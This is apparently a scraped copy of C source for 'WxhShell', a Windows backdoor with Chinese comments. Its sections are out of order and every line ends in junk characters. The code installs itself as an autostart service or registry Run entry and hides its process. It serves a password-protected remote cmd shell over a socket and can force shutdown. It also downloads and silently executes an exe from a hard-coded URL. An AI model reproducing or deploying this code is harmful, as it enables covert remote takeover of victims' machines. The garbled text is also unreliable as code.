    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2xflRks  
    if(Boot(SHUTDOWN)) [DH4iG5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ P 5K   
    else {  Pd\4hy  
    closesocket(wsh); Fa[^D~$l*  
    ExitThread(0); "a(4])  
    } Z,e|L4&  
    break; R54ae:8  
    } I;%1xdPt  
  // 获取shell \X _}\_c,d  
  case 's': { _uLpU4# ?  
    CmdShell(wsh); BDvkY  
    closesocket(wsh); ,]7ouH$H}  
    ExitThread(0); HI 1T  
    break; 7Q9Hk(Z9  
  } OKlR`Vaty  
  // 退出 #}+H  
  case 'x': { ] xHiy+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H-+U^@w  
    CloseIt(wsh); fmj}NV&ma  
    break; WA~[) S0  
    } $wp>2  
  // 离开 )9_W"'V  
  case 'q': { xc 1d[dCdp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z@Zg3AVU  
    closesocket(wsh); q+9->D(6  
    WSACleanup(); BVNJas  
    exit(1); v_EgY2l(  
    break; IDT\hTPIs  
        } g9|OhymB  
  } 5L[imOM0  
  } D]fuX|f~ul  
v:QUwW  
  // 提示信息 )'T].kWW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ''@Tke3IG6  
} T` h%=u|D  
  } &)tiO>B^6  
G=|?aK{p  
  return; Zf3(! a[  
} Ig}hap]G  
5=I({=/>  
// shell模块句柄 e'A_4;~@s  
int CmdShell(SOCKET sock) BInSS*L  
{ Lv['/!DJ|  
STARTUPINFO si; dN3^PK  
ZeroMemory(&si,sizeof(si)); RU7+$Z0K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q"<=^vi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t3Gy *B  
PROCESS_INFORMATION ProcessInfo; Os-Z_zSl6  
char cmdline[]="cmd"; JX&]>#6|E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m;l[flQ~  
  return 0; @9| jY1  
} +;lDU}$  
A{ T9-f@X  
// 自身启动模式 YiO}"  
int StartFromService(void) UTh2? Rh/  
{ 2PyuM=(Wt  
typedef struct s_/@`kd{  
{ v77UE"4|c  
  DWORD ExitStatus; f?tU5EX  
  DWORD PebBaseAddress; Rf8Obk<  
  DWORD AffinityMask; `WOoC   
  DWORD BasePriority; f tTD-d  
  ULONG UniqueProcessId; jn|NrvrX  
  ULONG InheritedFromUniqueProcessId; GqL&hbpi  
}   PROCESS_BASIC_INFORMATION; :JG5)H}j+  
\ YF@r7  
PROCNTQSIP NtQueryInformationProcess; Zt! $"N.,  
Z,2?TT|p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'RKpMdoz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }.)R#hG?  
>8I~i:hn  
  HANDLE             hProcess; 3]?='Qq.(  
  PROCESS_BASIC_INFORMATION pbi; Ebs]]a>PO  
"zJxWXI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k1xx>=md|C  
  if(NULL == hInst ) return 0; 1a(\F 7  
2~f*o^%l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KPO w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /kG?I_z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -c?x5/@3  
N.q~\sF^  
  if (!NtQueryInformationProcess) return 0; #)7`}7N  
=@M9S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b'+Wf#.]f0  
  if(!hProcess) return 0; C] mp <  
i=#\`"/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; - @>]iBl  
WLXt@dK*u  
  CloseHandle(hProcess); XLpn3sX$  
L;")C,CwQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \-]Jm[]^  
if(hProcess==NULL) return 0; GBb8 }lx  
I\6C0x  
HMODULE hMod; 2QbKh)   
char procName[255]; eR5q3E/;G  
unsigned long cbNeeded; eC"e v5v  
O713'i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,jC~U s<  
)u Hat#  
  CloseHandle(hProcess); [>?|wQy>=  
4z5qXI/<m4  
if(strstr(procName,"services")) return 1; // 以服务启动 rhPv{6Z|7  
& n@hD7=(  
  return 0; // 注册表启动 9)vU/fJ|  
} jc_k\  
/r'Fq =z  
// 主模块 >$rH,Er  
int StartWxhshell(LPSTR lpCmdLine) }w35fG^  
{ P?>:YY53  
  SOCKET wsl; yOlVS@7  
BOOL val=TRUE; ]@z!r2[  
  int port=0; PU.j(0  
  struct sockaddr_in door; &2  Yo  
n^;-&  
  if(wscfg.ws_autoins) Install(); {ObY1Y`ea  
}rmr0Bh  
port=atoi(lpCmdLine); Dz~^AuD6  
k8st XW-w  
if(port<=0) port=wscfg.ws_port; hk5!$#^  
K\Q4u4DjbJ  
  WSADATA data; %1k"K~eu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; | ;a$ l(~<  
#]c_ 2V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F-:AT$Ok  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `$1A;wg<  
  door.sin_family = AF_INET; TxQsi"0c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SHPDbBS  
  door.sin_port = htons(port); X1B)(|7$  
H?r~% bh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sYXLVJ>b  
closesocket(wsl); ?E!M%c@,  
return 1; ^^ix4[1$Z  
} J#wf`VR%  
bz nMD  
  if(listen(wsl,2) == INVALID_SOCKET) { \Kui`X  
closesocket(wsl); nnRb   
return 1; X{cB%to  
} *^[6uaa  
  Wxhshell(wsl); ckFPx l.  
  WSACleanup(); >?JUGXAi'{  
KS5a8'U  
return 0; ehr\lcS<  
8hww({S2  
} 30I-E ._F  
qm_r~j  
// 以NT服务方式启动 zp9lu B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :yJ#yad  
{ 3<)][<Ud  
DWORD   status = 0; 9wfE^E1  
  DWORD   specificError = 0xfffffff; ?Mo)&,__  
= =pQ V[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )g8Kicox5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $HOe){G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E]vox~xK>  
  serviceStatus.dwWin32ExitCode     = 0; S3HyB b  
  serviceStatus.dwServiceSpecificExitCode = 0; vD#kH 1  
  serviceStatus.dwCheckPoint       = 0; imM#zy  
  serviceStatus.dwWaitHint       = 0; t 4M-;y  
|AExaO"jk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k f Y;  
  if (hServiceStatusHandle==0) return; Xajt][  
|ul{d|  
status = GetLastError(); % mPv1$FH  
  if (status!=NO_ERROR) 'e<8j  
{ Y<Ae_yLa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mmjWLrhlu  
    serviceStatus.dwCheckPoint       = 0; ?vWF[ DRd'  
    serviceStatus.dwWaitHint       = 0; _ j'm2BA O  
    serviceStatus.dwWin32ExitCode     = status; P(b~3NB)  
    serviceStatus.dwServiceSpecificExitCode = specificError; $rQ7"w J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); } @3q;u)  
    return; \goiW;b  
  } Zonn  
PL31(!`@d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N8x&<H  
  serviceStatus.dwCheckPoint       = 0; H^o_B1  
  serviceStatus.dwWaitHint       = 0; @>ys,dy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k&[6Ld0~56  
} W"\`UzOLQ  
T%"wz3~  
// 处理NT服务事件,比如:启动、停止 5sEk rT '  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ep5`&g]3  
{ ^(T~Qp  
switch(fdwControl) [q0^Bn}h  
{ ,bM):  
case SERVICE_CONTROL_STOP: dqB N_P%  
  serviceStatus.dwWin32ExitCode = 0; /9SoVU8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \AI-x$5R*  
  serviceStatus.dwCheckPoint   = 0; 7$0bgWi  
  serviceStatus.dwWaitHint     = 0; VL"Cxs  
  { fO#nSB/ 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :! $+dr(d  
  } #Ddo` >`&  
  return; m%;LJ~R  
case SERVICE_CONTROL_PAUSE: -~J5aG[@~>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )B+zv,#q  
  break; #_3ZF"[zq  
case SERVICE_CONTROL_CONTINUE: /`#JM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }=|{"C  
  break; /VEK<.,aMv  
case SERVICE_CONTROL_INTERROGATE: Y HS/|-  
  break; yZoJD{'?Sw  
}; ON>l%Ae4G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .n.N.e  
} |eye) E:  
f*xv#G  
// 标准应用程序主函数 4kV$JV.l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  (t@!0_5  
{  N?,  
BVus3Y5IJQ  
// 获取操作系统版本 BSr#;;\  
OsIsNt=GetOsVer(); c1R[Hck  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H<nA*Zf2@R  
XN\rq=  
  // 从命令行安装 #Rs5W  
  if(strpbrk(lpCmdLine,"iI")) Install(); .*+jD^Gr  
T~ XKV`LQ  
  // 下载执行文件 3)e{{]6  
if(wscfg.ws_downexe) { kQ2WdpZ/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <dXeP/1w`  
  WinExec(wscfg.ws_filenam,SW_HIDE); I+3=|Ve f  
} fX\y/C  
V+U89j1g  
if(!OsIsNt) { Wi\k&V.mE  
// 如果时win9x,隐藏进程并且设置为注册表启动 \fvm6$ rZ^  
HideProc(); ^rY18?XC+:  
StartWxhshell(lpCmdLine); OYmutq  
} ]70ZerQ~L  
else &VCg`r-{~  
  if(StartFromService()) EK Q>hww8  
  // 以服务方式启动 )@tHS-Jf  
  StartServiceCtrlDispatcher(DispatchTable); -~_|ZnuM9  
else y>T>  
  // 普通方式启动 s`v$r,N0  
  StartWxhshell(lpCmdLine); y La E]  
Be\@n xV[  
return 0; Jko=E   
}  Bw+ ?MdS  
:7Uv)@iUk  
'<e$ c  
4}*.0'Hz  
=========================================== 9`^(M^|c  
k`z]l;:  
S|6i]/  
4Xwb`?}-  
nHZhP4W  
t -}IKrbv  
" Gv#bd05X  
2o1WXE %$  
#include <stdio.h> H_| re  
#include <string.h> M*Q}^<E*  
#include <windows.h> $n47DW &  
#include <winsock2.h> Z?&ZgaSz  
#include <winsvc.h> /m^G 99N  
#include <urlmon.h> yVKl%GO  
GlC(uhCpV  
#pragma comment (lib, "Ws2_32.lib") *L Y6hph"  
#pragma comment (lib, "urlmon.lib") OOABn*  
Fs=)*6}&  
#define MAX_USER   100 // 最大客户端连接数 X68.*VHh0  
#define BUF_SOCK   200 // sock buffer Ty7 `&  
#define KEY_BUFF   255 // 输入 buffer (_3'nFg  
wQ9@ l  
#define REBOOT     0   // 重启 P)Oe?z;G?  
#define SHUTDOWN   1   // 关机  B"5xs  
QOPh3+.5  
#define DEF_PORT   5000 // 监听端口 SL+n y(y  
eQ6wEeB9  
#define REG_LEN     16   // 注册表键长度 X Vo+ <&  
#define SVC_LEN     80   // NT服务名长度 2\#$::B9  
(4C)] RHQ  
// 从dll定义API E]a;Ydf~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J!3;\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hl)jE 06  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uc]5p(9Hb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d6??OO=~>M  
A9J{>f  
// wxhshell配置信息 F,K))325  
struct WSCFG { q['3M<q  
  int ws_port;         // 监听端口 4+p1`  
  char ws_passstr[REG_LEN]; // 口令 ^q%f~m,O<  
  int ws_autoins;       // 安装标记, 1=yes 0=no nYvkeT  
  char ws_regname[REG_LEN]; // 注册表键名 Lm1JiP s d  
  char ws_svcname[REG_LEN]; // 服务名 eIf-7S]m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,[dvs&-*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [a~@6*=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3Q7PY46  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7xWJw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `fG<iBD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :2wT)wz  
*1:kIi7_  
}; 7;r3Bxa Q  
4/ q BD  
// default Wxhshell configuration +Oo-8f*  
struct WSCFG wscfg={DEF_PORT, MhD=\Lpj\  
    "xuhuanlingzhe", z 9WeOs  
    1, c]$$ap  
    "Wxhshell", J{XRltI+  
    "Wxhshell", vI48*&]wTf  
            "WxhShell Service", F/:%YR;  
    "Wrsky Windows CmdShell Service", ~xws5n}F  
    "Please Input Your Password: ", 3.ShAL  
  1, v5?ct?q  
  "http://www.wrsky.com/wxhshell.exe", P"@^BQ4  
  "Wxhshell.exe" TXs&*\  
    }; WqCj;Tj|  
N_+D#Z.g  
// 消息定义模块 g1l:k1\Ht  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G$CSZrP.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \-[ >bsg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NH=@[t) P,  
char *msg_ws_ext="\n\rExit."; iex]J@=e  
char *msg_ws_end="\n\rQuit."; {FILt3f;  
char *msg_ws_boot="\n\rReboot..."; * {p:C  
char *msg_ws_poff="\n\rShutdown..."; N6A|  
char *msg_ws_down="\n\rSave to "; xnw'&E  
(VHPcoL  
char *msg_ws_err="\n\rErr!"; Q?`s4P)14o  
char *msg_ws_ok="\n\rOK!"; D})12qB;u9  
(b"q(:5oX  
char ExeFile[MAX_PATH]; 43rV> W,  
int nUser = 0; 2Ib 1D  
HANDLE handles[MAX_USER]; sP=^5K`g  
int OsIsNt; N{M25ucAHl  
)?LZg<<   
SERVICE_STATUS       serviceStatus; >dwWqcP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Lso%1M  
mW,b#'hy  
// 函数声明 Aq>?G+  
int Install(void); /h]ru SI  
int Uninstall(void); iorQ/(  
int DownloadFile(char *sURL, SOCKET wsh); 6 lEv<)cC  
int Boot(int flag); vuJEPn%  
void HideProc(void); AOV{@ b(  
int GetOsVer(void); :vaVghN\  
int Wxhshell(SOCKET wsl); ~9;udBfwF  
void TalkWithClient(void *cs); tk:G6Bkid  
int CmdShell(SOCKET sock); Bc b '4*:  
int StartFromService(void); qamq9F$V  
int StartWxhshell(LPSTR lpCmdLine); M}=>~TA@  
!g#y$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $ma@z0%8}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %):pfM;b  
h2?\A%  
// 数据结构和表定义 3m$Qd#|  
SERVICE_TABLE_ENTRY DispatchTable[] = VT#`l0I }  
{ |S:erYE,G  
{wscfg.ws_svcname, NTServiceMain}, @,W5K$Ka=  
{NULL, NULL} p&HO~J <w  
}; EV|W:;Sg  
_[wG-W/9R  
// 自我安装 hVd_1|/X  
int Install(void) 8;f5;7M n  
{ Z:2%gU&W  
  char svExeFile[MAX_PATH]; )?6%d  
  HKEY key; ={o)82LV  
  strcpy(svExeFile,ExeFile); lB#7j  
5as5{"l  
// 如果是win9x系统,修改注册表设为自启动 'cc{sjG  
if(!OsIsNt) { Np$ue }yr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l2Rnyb<;;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); it-2]Nw  
  RegCloseKey(key); IQ xi@7%&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D )Jac@,0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <P]%{msGH  
  RegCloseKey(key); O+[s4]  
  return 0; 4#ikdjB;  
    } }` <D KO/  
  } >>8{N)c5E  
} ?<Mx*l  
else { nm %7e!{m  
Re*~C:  
// 如果是NT以上系统,安装为系统服务 4 DV,f2:R4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K7i@7  
if (schSCManager!=0) 2dbn~j0  
{ J L1]auO*  
  SC_HANDLE schService = CreateService Gj[5e w?@  
  ( |nqN95'u+]  
  schSCManager, 4.~<|T8  
  wscfg.ws_svcname, 3'SN0VL  
  wscfg.ws_svcdisp, ,TYFPulYcp  
  SERVICE_ALL_ACCESS, qT#NS&T!-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MfdkvJ'  
  SERVICE_AUTO_START, U % ?+N  
  SERVICE_ERROR_NORMAL, 3l$D%y  
  svExeFile, lW4 6S  
  NULL, vRDs~'f  
  NULL, M(^ e)7a1  
  NULL, \}YAQ'T  
  NULL, m5, &;~  
  NULL "QBl "<<s  
  ); p )WRsJ8  
  if (schService!=0) J90 )v7  
  { ##Qy6Dc  
  CloseServiceHandle(schService); 4Bt)t#0  
  CloseServiceHandle(schSCManager); T!^v^m@>y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \+x#aN\  
  strcat(svExeFile,wscfg.ws_svcname); 6X!jNh$oF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 152LdZevF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x]4>f[>*>  
  RegCloseKey(key); 6(ER$  
  return 0; k(@W z>aCv  
    } ]a[2QQ+g  
  } :0bjPQj  
  CloseServiceHandle(schSCManager); z$M-UxY  
} 9eR";Wm])  
}  OAgZeK$  
)XoMOz  
return 1; k3]qpWKj  
} Q"3gvIyc  
HLL=.: P  
// 自我卸载 pkTVQdtRG  
int Uninstall(void) b%d,X-3  
{ `v'yGsIV  
  HKEY key; lc]cs D  
@iBmOt>3  
if(!OsIsNt) { g(G$*#}o8A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SN[ar&I  
  RegDeleteValue(key,wscfg.ws_regname); P5GV9SA  
  RegCloseKey(key); Rh)%;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RRl`;w?  
  RegDeleteValue(key,wscfg.ws_regname); J.O{+{&cd  
  RegCloseKey(key); KJs`[,;<  
  return 0; Kb'4W-&u!  
  } NH*"AE;  
} 7Rc>LI* '  
} O:imX>|u  
else { as!P`*@  
GXRW"4eF5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sN) xNz  
if (schSCManager!=0) en6;I[\  
{ <vb7X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uWP0(6 %  
  if (schService!=0) aNwx~t]G  
  { UXw I?2L  
  if(DeleteService(schService)!=0) { @3~Wukc  
  CloseServiceHandle(schService); +G,_|C2J  
  CloseServiceHandle(schSCManager); _@ g\.7@0G  
  return 0; X0]$Ovq(l  
  } ]K%d   
  CloseServiceHandle(schService); ,?+uQXfXR  
  } +I}!)$/  
  CloseServiceHandle(schSCManager); $Yw~v36`t/  
} 8>xd  
} Lg7dJnf  
p1T0FBV L  
return 1; %MCS_'N J  
} *)vy%\  
R0|4KT-i  
// 从指定url下载文件 ZkNet>9  
int DownloadFile(char *sURL, SOCKET wsh) =-qYp0sVP  
{ $if(n||  
  HRESULT hr; rX)_!mR  
char seps[]= "/"; ]u:Ij|.'y0  
char *token; _94R8?\_V7  
char *file; w$ ""])o,  
char myURL[MAX_PATH]; o"kL,&  
char myFILE[MAX_PATH]; _lC0XDZ  
"{c@}~  
strcpy(myURL,sURL); CioS}K  
  token=strtok(myURL,seps); -"XHN=H  
  while(token!=NULL) ]LMtZUz  
  { `BaJ >%|  
    file=token; BJ5^-|  
  token=strtok(NULL,seps); czB),vooz  
  } b'vIX< g  
_ D"S  
GetCurrentDirectory(MAX_PATH,myFILE); :8N{;aui  
strcat(myFILE, "\\"); IYr}%:P)  
strcat(myFILE, file); ;1>V7+/  
  send(wsh,myFILE,strlen(myFILE),0); ZmJ<FF4  
send(wsh,"...",3,0); ?u0qYep:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i@ 86Ez  
  if(hr==S_OK) D r"PS >.  
return 0; =Wz)(N  
else k7(lwEgNG  
return 1; k,ezB+  
Qv)DSl  
} + +Eu.W;&#  
ME.!l6lm\  
// 系统电源模块 J0o,ZH9  
int Boot(int flag) <~u-zaN<W  
{ 3{TE6&HIa  
  HANDLE hToken; ij.NSyk9  
  TOKEN_PRIVILEGES tkp; Z2-"NB  
aY DM)b}  
  if(OsIsNt) { =4OV }z=I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #T8PgmR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `3z6y& dmx  
    tkp.PrivilegeCount = 1; ]?NiY:v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tg9{(_ t/W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zq:c2/\c}  
if(flag==REBOOT) { lg{M\ +  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !LsIHDs4  
  return 0; R~;8v1>K  
} 7&(h_}Z  
else { ke)<E98DC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,pUB[w\  
  return 0; Q<yvpT(  
} t"5ZYa  
  } R?Ch8mW.!  
  else { };f^*KZ=0  
if(flag==REBOOT) { Kp!A ay  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &G?w*w_n  
  return 0; 3PkU>+.6  
} 08g2? 5w"  
else { >x ]{c b/m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U}l=1B  
  return 0; Jn9 {@??  
} 6.a|w}C`  
} z+^9)wg9  
`9A`pC  
return 1; *|gl1S  
} &<cP{aBa  
z9v70 q  
// win9x进程隐藏模块 anORoK.  
void HideProc(void) u]]mbER*t#  
{ u_b6u@r7  
n;>r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FS*J8)  
  if ( hKernel != NULL ) " ^!=e72  
  { F3x*dq2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }^*`&Lh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =>O{hT ^F  
    FreeLibrary(hKernel); *=Ma5J.  
  } |`+ (O  
'}q/;}ih  
return; Gq7\b({=  
} mt[ #=Yba  
 gOp81)  
// 获取操作系统版本 a;&0u>  
int GetOsVer(void) TeyFq0j@'  
{ l vBcEg  
  OSVERSIONINFO winfo; gRZ!=z[&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dj3,SJ*x  
  GetVersionEx(&winfo); #fXy4iL l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %2^V.`0T  
  return 1; K1o&(;l8G  
  else "5<YN#  
  return 0; :zpT Gk8Z  
} M" $g*j  
IU"8.(;o  
// 客户端句柄模块 ly@%1  
int Wxhshell(SOCKET wsl) x6vkd%fCj  
{ c]|Tg9AW  
  SOCKET wsh; ojVN -*5  
  struct sockaddr_in client; ;)ERxMun  
  DWORD myID; sGa "  
Vq^b_^  
  while(nUser<MAX_USER) yP34h*0B  
{ v7@ *dg  
  int nSize=sizeof(client); ciW;sK8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d-gcXaA-8  
  if(wsh==INVALID_SOCKET) return 1; SUL\|z`5  
oq (W|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nd5.Py$  
if(handles[nUser]==0) 46H@z=5  
  closesocket(wsh); [lz H%0 V  
else AR g]GV/L  
  nUser++; |Vp ?  
  } `*]r+J2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zY].ZS=7  
.m xc~  
  return 0; YDgG2hT/2  
} cu#r#0U-  
'yh)6mid  
// 关闭 socket +u lxCm_lV  
void CloseIt(SOCKET wsh) %iZ~RTY6 !  
{ qr~zTBT] E  
closesocket(wsh); P7 5@Yu(  
nUser--; gmOP8.g  
ExitThread(0); ~ x J#NC+  
} CU/Id`"tW  
C k/DV  
// 客户端请求句柄 WJ\,Y} J  
void TalkWithClient(void *cs) 52r\Q}v$  
{ j ~I_by  
C]3^:b+   
  SOCKET wsh=(SOCKET)cs; 5{-54mwo  
  char pwd[SVC_LEN]; &0+Ba[Z ^  
  char cmd[KEY_BUFF]; gGs"i]c  
char chr[1]; ifmX<'(9A  
int i,j; *#GX~3A  
H8E#r*"-m  
  while (nUser < MAX_USER) { _OK!/T*FBt  
m5W':vM  
if(wscfg.ws_passstr) { %B\VY+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W>[TFdH?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V)I Tk \  
  //ZeroMemory(pwd,KEY_BUFF); p1IN%*IV+o  
      i=0; +}BKDEb  
  while(i<SVC_LEN) { C *7x7|z  
9q2x}  
  // 设置超时 Seq ^o=  
  fd_set FdRead; ]DZ~"+LaG  
  struct timeval TimeOut; 0 n|>/i  
  FD_ZERO(&FdRead); [9y y<Z5  
  FD_SET(wsh,&FdRead); 1=^|  
  TimeOut.tv_sec=8; M0]J `fL@  
  TimeOut.tv_usec=0; XFi9qL^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2l~qzT-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V\AF%=6}  
Z0M|Bv9_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fyq %-Tj  
  pwd=chr[0]; .RbPO#(  
  if(chr[0]==0xd || chr[0]==0xa) { hKe ms3  
  pwd=0; NQN?CBFQ  
  break; zGP@!R`_  
  } }'uV{$  
  i++; ];u nR<H  
    } _A=i2?g  
*(sv5c!0M8  
  // 如果是非法用户,关闭 socket ^j1i CL!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p<B*)1Tj0  
} D% 2S!  
B!J&=*=e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _V3}F1?W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [6nN]U~Y  
\WZSY||C|_  
while(1) { &B$%|~Y5  
d 0:;IUG  
  ZeroMemory(cmd,KEY_BUFF); DyRU$U  
8(H!iKHe  
      // 自动支持客户端 telnet标准   o\nFSG kn  
  j=0; - I~\  
  while(j<KEY_BUFF) { `L3{y/U'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \{o<-S;h  
  cmd[j]=chr[0]; 1Q$/L+uJ5  
  if(chr[0]==0xa || chr[0]==0xd) { ^fbzlu?G4-  
  cmd[j]=0; 6Zv-kG  
  break; e`?o`@vO,  
  } = @ 1{LF;  
  j++; hE +M|#o  
    } =r~ExW}+  
x, 'KI?TyQ  
  // 下载文件 |doG}C  
  if(strstr(cmd,"http://")) { eX'V#K#C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xBE}/F$ 45  
  if(DownloadFile(cmd,wsh)) rW*[sLl3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Xv$  
  else 6<YAoo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t]ID  
  } `_3 Gb  
  else { H9[0-Ur5  
w|-m*v .  
